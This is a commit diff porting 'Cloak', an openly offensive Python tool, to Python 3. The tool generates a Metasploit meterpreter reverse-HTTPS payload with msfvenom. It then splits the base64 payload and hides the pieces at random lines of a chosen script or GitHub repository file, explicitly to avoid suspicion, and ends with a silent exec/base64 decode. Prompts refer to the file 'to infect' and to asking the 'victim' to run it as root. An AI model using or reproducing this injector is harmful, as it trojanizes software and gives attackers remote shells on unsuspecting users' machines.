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Added python3 support

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This commit is contained in:
Somdev Sangwan
2018-03-03 10:01:35 +05:30
committed by GitHub
parent 02c5b852a4
commit 36e8728307
1 changed files with 35 additions and 33 deletions
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68
cloak.py
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@@ -5,6 +5,9 @@ import socket
import sys import sys
from re import search from re import search
if sys.version_info < (3, 0):
input = raw_input
# Colors and shit like that # Colors and shit like that
white = '\033[1;97m' white = '\033[1;97m'
green = '\033[1;32m' green = '\033[1;32m'
@@ -17,13 +20,13 @@ good = '\033[1;32m[+]\033[1;m'
run = '\033[1;97m[>]\033[1;m' run = '\033[1;97m[>]\033[1;m'
# Banner # Banner
print '''%s print ('''%s
_________ %s__%s __ _________ %s__%s __
\%s_%s ___ \| | _________ | | __ \%s_%s ___ \| | _________ | | __
/ \ \/| | / %s_%s \__ \ | |/ / / \ \/| | / %s_%s \__ \ | |/ /
\ \___| |_( %s(_)%s ) %s__%s \| %s<%s \ \___| |_( %s(_)%s ) %s__%s \| %s<%s
\______ /____/\____(____ /__|_ \\ \______ /____/\____(____ /__|_ \\
%s\/%s \/ \/%s\n''' % (white, red, white, red, white, red, white, red, white, red, white, red, white, red, white, end) %s\/%s \/ \/%s\n''' % (white, red, white, red, white, red, white, red, white, red, white, red, white, red, white, end))
# Connecting to google DNS and retrieving IP address of host # Connecting to google DNS and retrieving IP address of host
s = socket.socket(socket.AF_INET, socket.SOCK_DGRAM) s = socket.socket(socket.AF_INET, socket.SOCK_DGRAM)
@@ -35,10 +38,10 @@ s.close()
def check_external_dependency(command, help=None): def check_external_dependency(command, help=None):
check_command = os.system('command -v %s > /dev/null' % command) check_command = os.system('command -v %s > /dev/null' % command)
if check_command != 0: if check_command != 0:
print '%s%s Couldn\'t find %s!' % (bad, red, command) print ('%s%s Couldn\'t find %s!' % (bad, red, command))
if help: if help:
print '%s %s' % (info, help) print ('%s %s' % (info, help))
sys.exit(1) quit()
check_external_dependency( check_external_dependency(
@@ -47,19 +50,19 @@ check_external_dependency(
) )
# Prompting the user for LHOST # Prompting the user for LHOST
choice = raw_input('%s %s%s%s : Use this as LHOST? [Y/n] ' % (que, green, LHOST, end)).lower() choice = input('%s %s%s%s : Use this as LHOST? [Y/n] ' % (que, green, LHOST, end)).lower()
if choice == 'n': if choice == 'n':
LHOST = raw_input('%s Enter LHOST: ' % que) LHOST = input('%s Enter LHOST: ' % que)
# Prompting the user for LPORT # Prompting the user for LPORT
LPORT = '443' LPORT = '443'
choice = raw_input('%s %s%s%s : Use this as LPORT? [Y/n] ' % (que, green, LPORT, end)).lower() choice = input('%s %s%s%s : Use this as LPORT? [Y/n] ' % (que, green, LPORT, end)).lower()
if choice == 'n': if choice == 'n':
LPORT = raw_input('%s Enter LPORT: ' % que) LPORT = input('%s Enter LPORT: ' % que)
def import_choice(): def import_choice():
script = raw_input('%s Enter Github/File path: ' % que) script = input('%s Enter Github/File path: ' % que)
if 'https://github.com' in script: if 'https://github.com' in script:
github(script) github(script)
else: else:
@@ -83,8 +86,8 @@ def github(script):
if '.py' in line: # if a file contains .py if '.py' in line: # if a file contains .py
python_files.append(line.strip('\n')) # adding the filename to python_files list python_files.append(line.strip('\n')) # adding the filename to python_files list
if len(python_files) == 0: # if there are 0 python files if len(python_files) == 0: # if there are 0 python files
print '%s No python file found.' % bad print ('%s No python file found.' % bad)
yes_no = raw_input('%s Would you like to manually select a file? [Y/n] ' % info).lower() yes_no = input('%s Would you like to manually select a file? [Y/n] ' % info).lower()
if yes_no == 'n': if yes_no == 'n':
quit() quit()
else: else:
@@ -95,23 +98,23 @@ def github(script):
all_files.append(line.strip('\n')) # adding the filename to python_files list all_files.append(line.strip('\n')) # adding the filename to python_files list
number = 1 number = 1
for file in all_files: for file in all_files:
print '%s. %s' % (number, file) # it will print all files like 1. main.py 2. run.sh 3. test.txt print ('%s. %s' % (number, file)) # it will print all files like 1. main.py 2. run.sh 3. test.txt
number = number + 1 number = number + 1
number = raw_input('%s Select a file to infect: ' % que) # asking the user to select a file to inject number = input('%s Select a file to infect: ' % que) # asking the user to select a file to inject
script = all_files[int(number) - 1] # just simple maths to select the chosen file from all_files list script = all_files[int(number) - 1] # just simple maths to select the chosen file from all_files list
elif len(python_files) > 1: # if there are more than 1 python files elif len(python_files) > 1: # if there are more than 1 python files
print '%s More than one python scripts found.' print ('%s More than one python scripts found.')
number = 1 number = 1
for file in python_files: for file in python_files:
print '%s. %s' % (number, file) # it will print all files like 1. main.py 2. run.py 3. test.py print ('%s. %s' % (number, file)) # it will print all files like 1. main.py 2. run.py 3. test.py
number = number + 1 number = number + 1
number = raw_input('%s Select a file to infect: ' % que) # asking the user to select a file to inject number = input('%s Select a file to infect: ' % que) # asking the user to select a file to inject
script = python_files[int(number) - 1] # just simple maths to select the chosen file from python_files list script = python_files[int(number) - 1] # just simple maths to select the chosen file from python_files list
elif len(python_files) == 1: # if there's 1 python file elif len(python_files) == 1: # if there's 1 python file
script = python_files[0] # fetching the only element from the python_files list script = python_files[0] # fetching the only element from the python_files list
print '%s Payload will be injected in %s%s%s' % (info, green, script, end) print ('%s Payload will be injected in %s%s%s' % (info, green, script, end))
os.system('rm -r %s/%s/temp.txt' % (cwd, directory)) # removes the temp.txt os.system('rm -r %s/%s/temp.txt' % (cwd, directory)) # removes the temp.txt
cwd2 = os.chdir('%s/%s' % (cwd, directory)) # changes the working directory to the repo directory cwd2 = os.chdir('%s/%s' % (cwd, directory)) # changes the working directory to the repo directory
github = True github = True
@@ -120,7 +123,7 @@ def github(script):
def injector(script): def injector(script):
method = 'https' method = 'https'
print '%s Generating Payload' % run print ('%s Generating Payload' % run)
os.system("msfvenom -p python/meterpreter/reverse_%s -f raw --platform python -e generic/none -a python %s LPORT=%s > payload.txt" % (method, LHOST, LPORT)) os.system("msfvenom -p python/meterpreter/reverse_%s -f raw --platform python -e generic/none -a python %s LPORT=%s > payload.txt" % (method, LHOST, LPORT))
payload = [] # a list containing payload = [] # a list containing
with open('payload.txt', 'r+') as f: # opens payload.txt with open('payload.txt', 'r+') as f: # opens payload.txt
@@ -130,7 +133,7 @@ def injector(script):
payload = ''.join(payload) # converts payload list into a string payload = ''.join(payload) # converts payload list into a string
payload = payload.split("'") # converts the payload into a list by splitting it from the character ' payload = payload.split("'") # converts the payload into a list by splitting it from the character '
base64_string = payload[3] # retrieves the third *coughs* the fourth element from the payload list base64_string = payload[3] # retrieves the third *coughs* the fourth element from the payload list
print '%s Injecting into %s%s%s' % (run, green, script, end) print ('%s Injecting into %s%s%s' % (run, green, script, end))
injectable_lines = [] # Lines where payload pieces can be inserted safely injectable_lines = [] # Lines where payload pieces can be inserted safely
imports = [] # lines that are being used to import libraries. Perfect for inserting 'import base64, sys' imports = [] # lines that are being used to import libraries. Perfect for inserting 'import base64, sys'
script_list = [] # list that contains all the lines of target script script_list = [] # list that contains all the lines of target script
@@ -140,7 +143,7 @@ def injector(script):
script_list.append(line.strip('\n')) # adds current line to the script_list script_list.append(line.strip('\n')) # adds current line to the script_list
match = search(r'^[a-zA-Z0-9]', line) # checks if the first character is an alphabet or digit match = search(r'^[a-zA-Z0-9]', line) # checks if the first character is an alphabet or digit
match2 = search(r'^[\t]', line) match2 = search(r'^[\t]', line)
if match and not line.startswith('except') and not line.startswith('else') and not match2: if match and not line.startswith('except') and not line.startswith('else') and not line.startswith('#') and not match2:
injectable_lines.append(number - 1) # add the line to injectable_lines list injectable_lines.append(number - 1) # add the line to injectable_lines list
if line.startswith('from') or line.startswith('import'): # if the line starts with from or import if line.startswith('from') or line.startswith('import'): # if the line starts with from or import
imports.append(number) # add that line to imports list imports.append(number) # add that line to imports list
@@ -149,9 +152,9 @@ def injector(script):
number = number + 1 # increase the value of number by 1 number = number + 1 # increase the value of number by 1
f.close() # close the file f.close() # close the file
if 'import base64, sys' in script_list: # searches for 'import base64. sys' in script_list if 'import base64, sys' in script_list: # searches for 'import base64. sys' in script_list
print '%s Seems like this file has been already injected by Cloak.' % bad print ('%s Seems like this file has been already injected by Cloak.' % bad)
if github: if github:
choice = raw_input('%s Would you like to download a fresh copy? [Y/n]' % que).lower() choice = input('%s Would you like to download a fresh copy? [Y/n]' % que).lower()
if choice == 'n': if choice == 'n':
pass pass
else: else:
@@ -161,7 +164,7 @@ def injector(script):
cwd2 = os.chdir('%s/%s' % (cwd, directory)) # changes the working directory to the repo directory cwd2 = os.chdir('%s/%s' % (cwd, directory)) # changes the working directory to the repo directory
injector() # Calls the injector() function injector() # Calls the injector() function
else: else:
print '%s Please use a fresh file for injection.' % info print ('%s Please use a fresh file for injection.' % info)
quit() quit()
while True: # its an infinite loop unless its broken manually while True: # its an infinite loop unless its broken manually
# We can't insert all the pieces of payload in one place as it may raise suspicion so we will # We can't insert all the pieces of payload in one place as it may raise suspicion so we will
@@ -170,21 +173,21 @@ def injector(script):
position_c, position_d = random.choice(injectable_lines), random.choice(injectable_lines) position_c, position_d = random.choice(injectable_lines), random.choice(injectable_lines)
#lets make sure the positions of the pieces of payload are in a particular order otherwise it will raise error #lets make sure the positions of the pieces of payload are in a particular order otherwise it will raise error
if position_a < position_b < position_c < position_d: if position_a < position_b < position_c < position_d:
script_list.insert(position_a + 1, 'var1 = \'\'\'%s\'\'\'' % base64_string[:len(base64_string)/2]) #[:len(string)/2] will give the first half of a string script_list.insert(int(position_a + 1), 'var1 = \'\'\'%s\'\'\'' % base64_string[:int(len(base64_string)/2)]) #[:len(string)/2] will give the first half of a string
script_list.insert(position_b + 2, 'var2 = \'\'\'%s\'\'\'' % base64_string[len(base64_string)/2:]) #and insert.list() is used to insert a element in list script_list.insert(int(position_b + 2), 'var2 = \'\'\'%s\'\'\'' % base64_string[int(len(base64_string)/2):]) #and insert.list() is used to insert a element in list
script_list.insert(position_c + 3, 'vars = var1 + var2') script_list.insert(int(position_c + 3), 'vars = var1 + var2')
script_list.insert(position_d + 4, 'try:\n\texec(base64.b64decode({2:str,3:lambda b:bytes(b,\'UTF-8\')}[sys.version_info[0]](vars)))\nexcept:\n\tpass') script_list.insert(int(position_d + 4), 'try:\n\texec(base64.b64decode({2:str,3:lambda b:bytes(b,\'UTF-8\')}[sys.version_info[0]](vars)))\nexcept:\n\tpass')
root = raw_input('%s Ask victim to run injected script as root? [y/N] ' % que).lower() root = input('%s Ask victim to run injected script as root? [y/N] ' % que).lower()
if root == 'y': if root == 'y':
root = True root = True
if len(imports) < 1: # if there are no imports in the script if len(imports) < 1: # if there are no imports in the script
if root: if root:
script_list.insert(injectable_lines[0], 'import base64, sys, commands\nif (sys.platform.startswith("linux")) :\n\tif (commands.getoutput("whoami")) != "root" :\n\t\tprint ("%s needs to be run as root.")\n\t\tsys.exit()\n\telse:\n\t\tpass' % script) script_list.insert(injectable_lines[0], 'import base64, sys, commands\nif (sys.platform.startswith("linux")) :\n\tif (commands.getoutput("whoami")) != "root" :\n\t\tprint ("%s needs to be run as root.")\n\t\tquit()\n' % script)
else: else:
script_list.insert(random.choice(imports), 'import base64, sys') script_list.insert(random.choice(imports), 'import base64, sys')
else: else:
if root: if root:
script_list.insert(injectable_lines[0], 'import base64, sys, commands\nif (sys.platform.startswith("linux")) :\n\tif (commands.getoutput("whoami")) != "root" :\n\t\tprint ("%s needs to be run as root.")\n\t\tsys.exit()\n\telse:\n\t\tpass' % script) script_list.insert(injectable_lines[0], 'import base64, sys, commands\nif (sys.platform.startswith("linux")) :\n\tif (commands.getoutput("whoami")) != "root" :\n\t\tprint ("%s needs to be run as root.")\n\t\tquit()\n' % script)
else: else:
script_list.insert(random.choice(imports), 'import base64, sys') script_list.insert(random.choice(imports), 'import base64, sys')
break # breaks the loop as the payload has been injected break # breaks the loop as the payload has been injected
@@ -195,7 +198,6 @@ def injector(script):
f.write(line + '\n') # writes a line to the target script f.write(line + '\n') # writes a line to the target script
f.close() # closes the file f.close() # closes the file
os.system('rm payload.txt') # removes payload.txt os.system('rm payload.txt') # removes payload.txt
print '%s %s%s%s was successfully injected' % (good, green, script, end) print ('%s %s%s%s was successfully injected' % (good, green, script, end))
import_choice() import_choice()